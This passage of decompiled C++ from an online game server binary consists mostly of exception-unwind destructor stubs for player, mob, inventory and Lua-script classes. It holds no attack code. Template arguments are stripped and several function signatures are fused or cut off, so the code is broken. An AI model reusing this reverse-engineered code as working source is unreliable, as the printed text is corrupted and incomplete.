ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(*(_DWORD *)(a1 - 20) + 68608)); } //----- (0062214E) -------------------------------------------------------- void __usercall _L209342(int a1) { ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage((ShineObjectClass::ShinePlayer::AccountStorage *)(*(_DWORD *)(a1 - 20) + 69768)); } //----- (0062215C) -------------------------------------------------------- void __usercall _L209343(int a1) { ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(*(_DWORD *)(a1 - 20) + 136600)); } //----- (0062216A) -------------------------------------------------------- void __usercall _L209344(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 20) + 139500)); } //----- (00622178) -------------------------------------------------------- void __usercall _L209345(int a1) { TreasureChestLocationManager::_TreasureChestLocationManager((TreasureChestLocationManager *)(*(_DWORD *)(a1 - 20) + 139627)); } //----- (00622186) -------------------------------------------------------- void __usercall _L209346(int a1) { ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(*(_DWORD *)(a1 - 20) + 139648)); } //----- (00622194) -------------------------------------------------------- void __usercall _L209347(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 20) + 140400)); } //----- (006221A2) -------------------------------------------------------- void __usercall _L209348(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 142012)); } //----- (006221B0) -------------------------------------------------------- void __usercall _L209349(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 142020)); } //----- (006221BE) -------------------------------------------------------- void __usercall _L209350(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 142028)); } //----- (006221CC) -------------------------------------------------------- void __usercall _L209351(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 142036)); } //----- (006221DA) -------------------------------------------------------- void __usercall _L209352(int a1) { ChargedItemEffectList::ChargedItem::_ChargedItem((ChargedItemEffectList::ChargedItem *)(*(_DWORD *)(a1 - 20) + 142064)); } //----- (006221E8) -------------------------------------------------------- void __usercall _L209353(int a1) { ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven((ShineObjectClass::ShinePlayer::ChargedInven *)(*(_DWORD *)(a1 - 20) + 142736)); } //----- (006221F6) -------------------------------------------------------- void __usercall _L209354(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 143168)); } //----- (00622204) -------------------------------------------------------- void __usercall _L209355(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 143169)); } //----- (00622212) -------------------------------------------------------- void __usercall _L209356(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 143172)); } //----- (00622220) -------------------------------------------------------- void __usercall _L209357(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 20) + 143228)); } //----- (0062222E) -------------------------------------------------------- void __usercall _L209358(int a1) { ItemActionObserveManager::_ItemActionObserveManager((ItemActionObserveManager *)(*(_DWORD *)(a1 - 20) + 143628)); } //----- (0062223C) -------------------------------------------------------- void __usercall _L209359(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 20) + 143668)); } //----- (0062224A) -------------------------------------------------------- void __usercall _L209368(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 16)); } //----- (00622280) -------------------------------------------------------- void __usercall _L211107(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (006222A0) -------------------------------------------------------- void __usercall _L211363(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006222A8) -------------------------------------------------------- void __usercall _L211364(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 32)); } //----- (006222C0) -------------------------------------------------------- void __usercall _L211696(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (006222C8) -------------------------------------------------------- void __usercall _L211698(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 144)); } //----- (006222E0) -------------------------------------------------------- int __usercall _L212504(int a1) { return ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(void **)(a1 - 20)); } //----- (006222E8) -------------------------------------------------------- void __usercall _L212505(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 7452)); } //----- (006222F6) -------------------------------------------------------- void __usercall _L212506(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 20) + 23696)); } //----- (00622304) -------------------------------------------------------- void __usercall _L212507(int a1) { ShineObjectClass::ShinePlayer::SocketStream::_SocketStream((ShineObjectClass::ShinePlayer::SocketStream *)(*(_DWORD *)(a1 - 20) + 23704)); } //----- (00622312) -------------------------------------------------------- void __usercall _L212508(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 31916)); } //----- (00622320) -------------------------------------------------------- void __usercall _L212509(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 32164)); } //----- (0062232E) -------------------------------------------------------- void __usercall _L212510(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 32165)); } //----- (0062233C) -------------------------------------------------------- void __usercall _L212635(int a1) { CharacterInventory::_CharacterInventory(*(CharacterInventory **)(a1 - 16)); } //----- (00622344) -------------------------------------------------------- void __usercall _L212511(int a1) { ShineObjectClass::ShinePlayer::__unnamed::___unnamed((void *)(*(_DWORD *)(a1 - 20) + 32312)); } //----- (00622352) -------------------------------------------------------- void __usercall _L212512(int a1) { NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick((NormalAttackDamageDelay::NormalAttackDamageTick *)(*(_DWORD *)(a1 - 20) + 66156)); } //----- (00622360) -------------------------------------------------------- void __usercall _L212513(int a1) { ShineQuestDiary::_ShineQuestDiary((ShineQuestDiary *)(*(_DWORD *)(a1 - 20) + 66176)); } //----- (0062236E) -------------------------------------------------------- void __usercall _L212514(int a1) { CharaterSkillList::_CharaterSkillList((CharaterSkillList *)(*(_DWORD *)(a1 - 20) + 68496)); } //----- (0062237C) -------------------------------------------------------- void __usercall _L212515(int a1) { CharacterPassiveList::_CharacterPassiveList((CharacterPassiveList *)(*(_DWORD *)(a1 - 20) + 68532)); } //----- (0062238A) -------------------------------------------------------- void __usercall _L212516_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 68579)); } //----- (00622398) -------------------------------------------------------- void __usercall _L212517_0(int a1) { ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(*(_DWORD *)(a1 - 20) + 68608)); } //----- (006223A6) -------------------------------------------------------- void __usercall _L212518_0(int a1) { ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage((ShineObjectClass::ShinePlayer::AccountStorage *)(*(_DWORD *)(a1 - 20) + 69768)); } //----- (006223B4) -------------------------------------------------------- void __usercall _L212519_0(int a1) { ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(*(_DWORD *)(a1 - 20) + 136600)); } //----- (006223C2) -------------------------------------------------------- void __usercall _L212520(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 20) + 139500)); } //----- (006223D0) -------------------------------------------------------- void __usercall _L212521(int a1) { TreasureChestLocationManager::_TreasureChestLocationManager((TreasureChestLocationManager *)(*(_DWORD *)(a1 - 20) + 139627)); } //----- (006223DE) -------------------------------------------------------- void __usercall _L212655(int a1) { StreetBoothSell::_StreetBoothSell((StreetBoothSell *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (006223E9) -------------------------------------------------------- void __usercall _L212522(int a1) { ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(*(_DWORD *)(a1 - 20) + 139648)); } //----- (006223F7) -------------------------------------------------------- void __usercall _L212523(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 20) + 140400)); } //----- (00622405) -------------------------------------------------------- void __usercall _L212524(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 142012)); } //----- (00622413) -------------------------------------------------------- void __usercall _L212525(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 142020)); } //----- (00622421) -------------------------------------------------------- void __usercall _L212526(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 142028)); } //----- (0062242F) -------------------------------------------------------- void __usercall _L212527(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 142036)); } //----- (0062243D) -------------------------------------------------------- void __usercall _L212528(int a1) { ChargedItemEffectList::ChargedItem::_ChargedItem((ChargedItemEffectList::ChargedItem *)(*(_DWORD *)(a1 - 20) + 142064)); } //----- (0062244B) -------------------------------------------------------- void __usercall _L212529(int a1) { ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven((ShineObjectClass::ShinePlayer::ChargedInven *)(*(_DWORD *)(a1 - 20) + 142736)); } //----- (00622459) -------------------------------------------------------- void __usercall _L212530(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 143168)); } //----- (00622467) -------------------------------------------------------- void __usercall _L212531(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 143169)); } //----- (00622475) -------------------------------------------------------- void __usercall _L212532(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 143172)); } //----- (00622483) -------------------------------------------------------- void __usercall _L212533(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 20) + 143228)); } //----- (00622491) -------------------------------------------------------- void __usercall _L212534(int a1) { ItemActionObserveManager::_ItemActionObserveManager((ItemActionObserveManager *)(*(_DWORD *)(a1 - 20) + 143628)); } //----- (0062249F) -------------------------------------------------------- void __usercall _L212535(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 20) + 143668)); } //----- (006224AD) -------------------------------------------------------- void __usercall _L212757(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 16)); } //----- (006224B5) -------------------------------------------------------- void __usercall _L212536(int a1) { MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate((MobTargetPlayerCaptivate *)(*(_DWORD *)(a1 - 20) + 143688)); } //----- (006224D0) -------------------------------------------------------- void __usercall _L218472(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator(int a1) { return ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(void **)(a1 - 16)); } //----- (006224F8) -------------------------------------------------------- void __usercall _L218685(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7448)); } //----- (00622506) -------------------------------------------------------- void __usercall _L218686(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 16) + 7456)); } //----- (00622514) -------------------------------------------------------- void __usercall _L218687(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7468)); } //----- (00622522) -------------------------------------------------------- void __usercall _L218688(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { MobTacticElement::MobActionArgument::Selector::_Selector((MobTacticElement::MobActionArgument::Selector *)(*(_DWORD *)(a1 - 20) + 8)); } //----- (0062253B) -------------------------------------------------------- void __usercall _L218689(int a1) { MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(*(_DWORD *)(a1 - 16) + 7708)); } //----- (00622549) -------------------------------------------------------- void __usercall _L218690(int a1) { List::_List((HitMeList::EnemyList *)(*(_DWORD *)(a1 - 16) + 8584)); } //----- (00622557) -------------------------------------------------------- void __usercall _L218691(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator(int a1) { return ShineObjectClass::ShineMob::_ShineMob(*(_DWORD *)(a1 - 16)); } //----- (00622590) -------------------------------------------------------- void __usercall _L219012(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (006225A3) -------------------------------------------------------- void __usercall _L219014(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (006225AE) -------------------------------------------------------- void __usercall _L219015(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (006225B9) -------------------------------------------------------- void __usercall _L219016(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (006225C4) -------------------------------------------------------- void __usercall _L219017(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (006225DA) -------------------------------------------------------- void __usercall _L219019(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (006225E5) -------------------------------------------------------- void __usercall _L219020(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (006225F0) -------------------------------------------------------- void __usercall _L219021(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (006225FB) -------------------------------------------------------- void __usercall _L219022(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (00622620) -------------------------------------------------------- void __usercall _L167927(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00622640) -------------------------------------------------------- void __usercall _L168098(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 104)); } //----- (00622648) -------------------------------------------------------- void __usercall _L168099(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00622650) -------------------------------------------------------- void __usercall _L168100(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 80)); } //----- (00622670) -------------------------------------------------------- void __usercall _L170005(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006226B0) -------------------------------------------------------- void __usercall _L175043(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006226B8) -------------------------------------------------------- void __usercall _L175044(int a1) { AxialListDeathAura::_AxialListDeathAura((AxialListDeathAura *)(a1 - 20)); } //----- (006226D0) -------------------------------------------------------- void __usercall _L186129(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (006226F0) -------------------------------------------------------- void __usercall _L182815(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (006226F8) -------------------------------------------------------- void __usercall _L182816_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (00622710) -------------------------------------------------------- void __usercall _L183860(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 156)); } //----- (0062271B) -------------------------------------------------------- void __usercall _L183861(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 168)); } //----- (00622730) -------------------------------------------------------- void __usercall _L183968(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 148)); } //----- (0062273B) -------------------------------------------------------- void __usercall _L183969(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 164)); } //----- (00622750) -------------------------------------------------------- void __usercall _L184077(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (0062275B) -------------------------------------------------------- void __usercall _L184079(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 148)); } //----- (00622770) -------------------------------------------------------- void __usercall _L184776_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00622790) -------------------------------------------------------- void __usercall _L184509(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 100)); } //----- (00622798) -------------------------------------------------------- void __usercall _L184511(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 96)); } //----- (006227A0) -------------------------------------------------------- void __usercall _L184512(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 92)); } //----- (006227C0) -------------------------------------------------------- unsigned int __cdecl _L185311_0() { unsigned int result; // eax@1 result = _S13_26 & 0xFFFFFFFE; _S13_26 &= 0xFFFFFFFEu; return result; } //----- (006227CE) -------------------------------------------------------- unsigned int __cdecl _L185312_0() { unsigned int result; // eax@1 result = _S13_26 & 0xFFFFFFFD; _S13_26 &= 0xFFFFFFFDu; return result; } //----- (006227F0) -------------------------------------------------------- void __usercall _L186019(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00622810) -------------------------------------------------------- void __usercall _L186033(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00622830) -------------------------------------------------------- void __usercall _L189471(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00622890) -------------------------------------------------------- void __usercall _L190922(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (006228D0) -------------------------------------------------------- void __usercall _L192218(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 168)); } //----- (00622906) -------------------------------------------------------- void __usercall _L192389(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 184)); } //----- (00622911) -------------------------------------------------------- void __usercall _L192390(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (00622950) -------------------------------------------------------- void __usercall _L193428(int a1) { std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>((std::vector,std::allocator >,std::allocator,std::allocator > > > *)(a1 - 84)); } //----- (00622958) -------------------------------------------------------- void __usercall _L193429(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 68)); } //----- (00622960) -------------------------------------------------------- void __usercall _L193430(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 40)); } //----- (00622980) -------------------------------------------------------- void __usercall _L182027(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (006229A0) -------------------------------------------------------- void __usercall _L188268(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006229C0) -------------------------------------------------------- void __usercall _L185459(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006229C8) -------------------------------------------------------- void __usercall _L185460(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 20)); } //----- (006229E0) -------------------------------------------------------- void __usercall _L183353(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (006229EB) -------------------------------------------------------- void __usercall _L183354(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (006229F6) -------------------------------------------------------- void __usercall _L183355(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (00622A10) -------------------------------------------------------- void __usercall _L183890(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (00622A30) -------------------------------------------------------- void __usercall _L184004(int a1) { AxialListMagicFieldDamage::_AxialListMagicFieldDamage((AxialListMagicFieldDamage *)(a1 - 1660)); } //----- (00622A50) -------------------------------------------------------- void __usercall _L184027(int a1) { AxialListMagicFieldHeal::_AxialListMagicFieldHeal((AxialListMagicFieldHeal *)(a1 - 1628)); } //----- (00622A70) -------------------------------------------------------- void __usercall _L184181(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00622A78) -------------------------------------------------------- void __usercall _L184182(int a1) { AxialListRescueRequest::_AxialListRescueRequest((AxialListRescueRequest *)(a1 - 36)); } //----- (00622A90) -------------------------------------------------------- void __usercall _L184397(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00622A98) -------------------------------------------------------- unsigned int __cdecl _L184398() { unsigned int result; // eax@1 result = _S6_16 & 0xFFFFFFFE; _S6_16 &= 0xFFFFFFFEu; return result; } //----- (00622AA6) -------------------------------------------------------- unsigned int __cdecl _L184399() { unsigned int result; // eax@1 result = _S6_16 & 0xFFFFFFFD; _S6_16 &= 0xFFFFFFFDu; return result; } //----- (00622AB4) -------------------------------------------------------- unsigned int __cdecl _L184400() { unsigned int result; // eax@1 result = _S6_16 & 0xFFFFFFFB; _S6_16 &= 0xFFFFFFFBu; return result; } //----- (00622AD0) -------------------------------------------------------- void __usercall _L185215_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00622AD8) -------------------------------------------------------- void __usercall _L185216_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622AF0) -------------------------------------------------------- void __usercall _L184706_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (00622B10) -------------------------------------------------------- void __usercall _L184851_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00622B30) -------------------------------------------------------- void __usercall _L185100_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00622B38) -------------------------------------------------------- void __usercall _L185101_0(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 32)); } //----- (00622B50) -------------------------------------------------------- void __usercall _L185348_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00622B58) -------------------------------------------------------- void __usercall _L185349_1(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 32)); } //----- (00622B60) -------------------------------------------------------- void __usercall _L185350_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622B68) -------------------------------------------------------- void __usercall _L185351_0(int a1) { NeighborhoodChecker::_NeighborhoodChecker((NeighborhoodChecker *)(a1 - 24)); } //----- (00622B80) -------------------------------------------------------- void __usercall _L185661(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00622BA0) -------------------------------------------------------- void __usercall _L186136(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00622BA8) -------------------------------------------------------- void __usercall _L186170(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00622BC0) -------------------------------------------------------- void __usercall _L186484(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00622BC8) -------------------------------------------------------- void __usercall _L186485(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 40)); } //----- (00622BD0) -------------------------------------------------------- void __usercall _L186486(int a1) { NeighborhoodChecker::_NeighborhoodChecker((NeighborhoodChecker *)(a1 - 32)); } //----- (00622BD8) -------------------------------------------------------- void __usercall _L186487(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 32)); } //----- (00622BE0) -------------------------------------------------------- void __usercall _L186488(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 32)); } //----- (00622BE8) -------------------------------------------------------- void __usercall _L186489(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 32)); } //----- (00622BF0) -------------------------------------------------------- void __usercall _L186490(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 32)); } //----- (00622BF8) -------------------------------------------------------- void __usercall _L186491(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 32)); } //----- (00622C00) -------------------------------------------------------- void __usercall _L186492(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 32)); } //----- (00622C20) -------------------------------------------------------- void __usercall _L187807(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00622C40) -------------------------------------------------------- void __usercall _L188536(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00622C48) -------------------------------------------------------- void __usercall _L188537(int a1) { SlantedListNormalizer::_SlantedListNormalizer((SlantedListNormalizer *)(a1 - 68)); } //----- (00622C50) -------------------------------------------------------- void __usercall _L188538(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 56)); } //----- (00622C58) -------------------------------------------------------- void __usercall _L188539(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00622CA8) -------------------------------------------------------- void __usercall _L175920(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622CC0) -------------------------------------------------------- void __usercall _L175976(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00622CE0) -------------------------------------------------------- void __usercall _L181114(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00622CE8) -------------------------------------------------------- void __usercall _L181115(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 36)); } //----- (00622CF0) -------------------------------------------------------- void __usercall _L181116(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622D10) -------------------------------------------------------- void __usercall _L181305_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 152)); } //----- (00622D1B) -------------------------------------------------------- void __usercall _L181306_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 148)); } //----- (00622D30) -------------------------------------------------------- void __usercall _L181541(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00622D38) -------------------------------------------------------- void __usercall _L181543(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622D50) -------------------------------------------------------- void __usercall _L182586(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (00622D70) -------------------------------------------------------- void __usercall _L182953(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 160)); } //----- (00622D90) -------------------------------------------------------- void __usercall _L183368(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00622D98) -------------------------------------------------------- void __usercall _L183369(int a1) { 